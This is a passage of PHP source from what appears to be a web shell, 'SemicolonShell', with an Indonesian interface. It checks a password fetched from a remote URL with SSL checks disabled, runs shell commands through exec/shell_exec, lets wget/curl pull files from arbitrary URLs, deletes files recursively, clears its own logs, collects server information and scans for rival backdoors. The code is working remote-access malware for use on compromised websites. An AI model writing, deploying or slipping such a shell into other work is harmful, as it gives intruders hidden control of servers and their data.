$REMOTE_PASSWORD_URL, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 10, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'SemicolonShell/3.1' ]); $response = curl_exec($ch); curl_close($ch); return ($response) ? trim($response) : null; } $response = @file_get_contents($REMOTE_PASSWORD_URL); return ($response) ? trim($response) : null; } function sanitize_path($path) { if (empty($path)) $path = '.'; $realpath = realpath($path); return ($realpath === false) ? '.' : $realpath; } function formatBytes($bytes, $precision = 2) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); return round($bytes / pow(1024, $pow), $precision) . ' ' . $units[$pow]; } function logActivity($action, $details) { $log_dir = __DIR__ . '/logs'; if (!is_dir($log_dir)) @mkdir($log_dir, 0755, true); $log_file = $log_dir . '/semicolon_' . date('Y-m-d') . '.log'; $entry = date('Y-m-d H:i:s') . ' | IP: ' . ($_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN') . ' | Aksi: ' . $action . ' | ' . $details . PHP_EOL; @file_put_contents($log_file, $entry, FILE_APPEND | LOCK_EX); } function deleteRecursive($path) { if (!file_exists($path)) return false; if (is_dir($path)) { foreach (array_diff(scandir($path), ['.', '..']) as $item) { if (!deleteRecursive($path . '/' . $item)) return false; } return @rmdir($path); } return @unlink($path); } function executeCommand($cmd) { $whitelist = ['pwd','ls','whoami','id','date','uname','php -v','help','cat','echo','grep','find']; $base = strtolower(trim(explode(' ', $cmd)[0])); if (!in_array($base, $whitelist) && !preg_match('/^(wget|curl)\s+(-O\s+\S+\s+)?https?:\/\/\S+$/i', $cmd)) { return ["Perintah diblokir"]; } $danger = ['rm -rf','mkfs','dd','chmod 777','kill','pkill']; foreach ($danger as $d) if (stripos($cmd, $d) !== false) return ["Diblokir: berbahaya"]; $output = []; if (function_exists('exec')) { @exec($cmd . " 2>&1", $output); } elseif (function_exists('shell_exec')) { $out = @shell_exec($cmd . " 2>&1"); $output = $out ? explode("\n", trim($out)) : ["Tidak ada output"]; } else { $output = ["Tidak tersedia"]; } logActivity('PERINTAH', $cmd); return $output; } function scanForBackdoors($path, $type = 'quick') { $results = ['suspicious_files' => [], 'file_count' => 0, 'scan_time' => 0, 'scan_path' => $path, 'scan_type' => $type]; $start = microtime(true); $patterns = [ 'exec(' => 20, 'system(' => 20, 'shell_exec(' => 20, 'passthru(' => 20, 'eval(' => 25, 'base64_decode' => 15, 'gzinflate(' => 20, 'file_put_contents(' => 18, 'assert(' => 25, 'preg_replace' => 18, 'create_function' => 20, '$_POST' => 15, '$_GET' => 15, '$_REQUEST' => 15, '`' => 15 ]; $extensions = ['php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'inc', 'txt']; $max_files = ($type == 'deep') ? 5000 : 1500; $scanned_files = 0; $suspicious = []; function recursiveScan($dir, &$scanned_files, &$suspicious, $patterns, $extensions, $max_files, $depth = 0) { if ($depth > 8 || $scanned_files >= $max_files) return; if (!is_dir($dir) || !is_readable($dir)) return; $items = @scandir($dir); if (!$items) return; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full = $dir . '/' . $item; if (is_dir($full)) { $skip = ['node_modules', 'vendor', 'cache', 'logs', 'tmp', 'temp', '.git', '.svn', 'backup']; if (!in_array($item, $skip)) { recursiveScan($full, $scanned_files, $suspicious, $patterns, $extensions, $max_files, $depth + 1); } } else { $ext = strtolower(pathinfo($item, PATHINFO_EXTENSION)); if (in_array($ext, $extensions)) { $scanned_files++; if ($scanned_files > $max_files) return; $size = @filesize($full); if ($size && $size < 1024 * 1024) { $content = @file_get_contents($full); if ($content) { $score = 0; $found = []; $lower = strtolower($content); foreach ($patterns as $pat => $sc) { if (strpos($lower, strtolower($pat)) !== false) { $score += $sc; $found[] = $pat; } } if (preg_match('/eval\s*\(\s*base64_decode/i', $content)) { $score += 30; $found[] = 'eval(base64)'; } if (preg_match('/\$\w+\s*\(\s*\$_POST/i', $content) || preg_match('/\$\w+\s*\(\s*\$_GET/i', $content)) { $score += 20; $found[] = 'dynamic_func'; } if ($score >= 15) { $suspicious[] = [ 'path' => $full, 'name' => $item, 'score' => $score, 'size' => formatBytes($size), 'perms' => substr(sprintf('%o', fileperms($full)), -4), 'patterns' => array_slice(array_unique($found), 0, 5), 'risk' => $score >= 30 ? 'TINGGI' : ($score >= 20 ? 'SEDANG' : 'RENDAH') ]; } } } } } } } recursiveScan($path, $scanned_files, $suspicious, $patterns, $extensions, $max_files); usort($suspicious, fn($a, $b) => $b['score'] - $a['score']); $results['file_count'] = $scanned_files; $results['suspicious_files'] = $suspicious; $results['scan_time'] = round(microtime(true) - $start, 2); return $results; } function quickFileCheck($file_path) { if (!file_exists($file_path)) return "File tidak ditemukan"; if (is_dir($file_path)) return "Ini adalah direktori"; $size = filesize($file_path); if ($size > 1024 * 1024) return "File terlalu besar (>1MB)"; $content = file_get_contents($file_path); $suspicious = []; $checks = [ 'exec(' => 'exec()', 'system(' => 'system()', 'shell_exec(' => 'shell_exec()', 'passthru(' => 'passthru()', 'eval(' => 'eval()', 'base64_decode' => 'base64_decode', 'gzinflate(' => 'gzinflate()', 'assert(' => 'assert()', 'preg_replace' => 'preg_replace()', 'create_function' => 'create_function()', '$_POST' => '$_POST', '$_GET' => '$_GET', 'file_put_contents(' => 'file_put_contents()', '`' => 'backtick' ]; foreach ($checks as $pattern => $name) { if (strpos($content, $pattern) !== false) { $suspicious[] = $name; } } if (preg_match('/eval\s*\(\s*base64_decode/i', $content)) $suspicious[] = 'eval(base64)'; return empty($suspicious) ? "BERSIH - Tidak ada pola mencurigakan" : "TERINDIKASI: " . implode(', ', array_slice($suspicious, 0, 8)); } function getSystemInfo() { return [ 'Server' => [ 'Hostname' => php_uname('n'), 'Sistem Operasi' => php_uname('s') . ' ' . php_uname('r'), 'PHP' => PHP_VERSION, 'IP Server' => $_SERVER['SERVER_ADDR'] ?? 'N/A', 'IP Anda' => $_SERVER['REMOTE_ADDR'] ?? 'N/A' ], 'Sumber Daya' => [ 'Penggunaan Memori' => round(memory_get_usage(true)/1024/1024, 2) . ' MB', 'Disk Tersedia' => formatBytes(disk_free_space('/')), 'Disk Total' => formatBytes(disk_total_space('/')), 'Batas Memori PHP' => ini_get('memory_limit'), 'Eksekusi Maks' => ini_get('max_execution_time') . 's' ] ]; } function getActivityLogs($limit = 100, $filter = null) { $log_dir = __DIR__ . '/logs'; $logs = []; if (!is_dir($log_dir)) return $logs; $log_files = glob($log_dir . '/semicolon_*.log'); rsort($log_files); foreach ($log_files as $file) { $lines = file($file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if ($lines) { foreach (array_reverse($lines) as $line) { if ($filter && stripos($line, $filter) === false) continue; $logs[] = $line; if (count($logs) >= $limit) break 2; } } } return $logs; } function clearActivityLogs($days_old = 30) { $log_dir = __DIR__ . '/logs'; if (!is_dir($log_dir)) return 0; $cutoff = strtotime("-{$days_old} days"); $deleted = 0; foreach (glob($log_dir . '/semicolon_*.log') as $file) { if (filemtime($file) < $cutoff) { if (@unlink($file)) $deleted++; } } return $deleted; } function getLogStats() { $log_dir = __DIR__ . '/logs'; $stats = [ 'total_logs' => 0, 'today_logs' => 0, 'log_size' => 0, 'oldest_log' => null, 'latest_log' => null ]; if (!is_dir($log_dir)) return $stats; $today = date('Y-m-d'); foreach (glob($log_dir . '/semicolon_*.log') as $file) { $size = filesize($file); $stats['log_size'] += $size; preg_match('/semicolon_(\d{4}-\d{2}-\d{2})\.log/', $file, $match); if (isset($match[1])) { if ($match[1] == $today) { $stats['today_logs'] = count(file($file)); } } if (!$stats['oldest_log'] || filemtime($file) < strtotime($stats['oldest_log'])) { $stats['oldest_log'] = date('Y-m-d', filemtime($file)); } if (!$stats['latest_log'] || filemtime($file) > strtotime($stats['latest_log'])) { $stats['latest_log'] = date('Y-m-d H:i:s', filemtime($file)); } } foreach (glob($log_dir . '/semicolon_*.log') as $file) { $stats['total_logs'] += count(file($file)); } $stats['log_size'] = formatBytes($stats['log_size']); return $stats; } function exportLogs($format = 'text') { $logs = getActivityLogs(10000); if ($format == 'json') { header('Content-Type: application/json'); header('Content-Disposition: attachment; filename="logs_' . date('Y-m-d') . '.json"'); echo json_encode(['logs' => $logs, 'exported_at' => date('Y-m-d H:i:s')]); exit; } else { header('Content-Type: text/plain'); header('Content-Disposition: attachment; filename="logs_' . date('Y-m-d') . '.txt"'); echo "SEMICOLON ACTIVITY LOGS\n"; echo "Diekspor: " . date('Y-m-d H:i:s') . "\n"; echo str_repeat("=", 60) . "\n\n"; echo implode("\n", $logs); exit; } } if (isset($_GET['ajax_logs'])) { header('Content-Type: application/json'); $filter = $_GET['filter'] ?? null; $logs = getActivityLogs(500, $filter); echo json_encode(['logs' => $logs, 'count' => count($logs), 'timestamp' => date('Y-m-d H:i:s')]); exit; } if (isset($_GET['export_logs'])) { exportLogs($_GET['export_logs']); } if (isset($_POST['clear_old_logs']) || isset($_GET['clear_old_logs'])) { header('Content-Type: application/json'); $deleted = clearActivityLogs(30); echo json_encode(['success' => true, 'deleted' => $deleted]); exit; } if (!isset($_SESSION['authenticated'])) { if (isset($_POST['auth_token'])) { $input = trim($_POST['auth_token']); $real = getPasswordFromRemote(); $auth_error = null; if ($real === null) { $auth_error = "Gagal terhubung ke server auth"; } else { $valid = [$real, md5($real), sha1($real), hash('sha256', $real)]; if (in_array($input, $valid, true)) { $_SESSION['authenticated'] = true; $_SESSION['current_path'] = $_SERVER['DOCUMENT_ROOT'] ?? '.'; logActivity('LOGIN', 'Berhasil login'); header("Location: ?"); exit; } else { $auth_error = "Akses ditolak"; } } } ?>
| NAMA | UKURAN | PERMISI | MODIFIKASI | AKSI | |
|---|---|---|---|---|---|
| - | 📁 .. (INDUK) | - | - | - | - |
| 📁 / | |||||
| 📄 |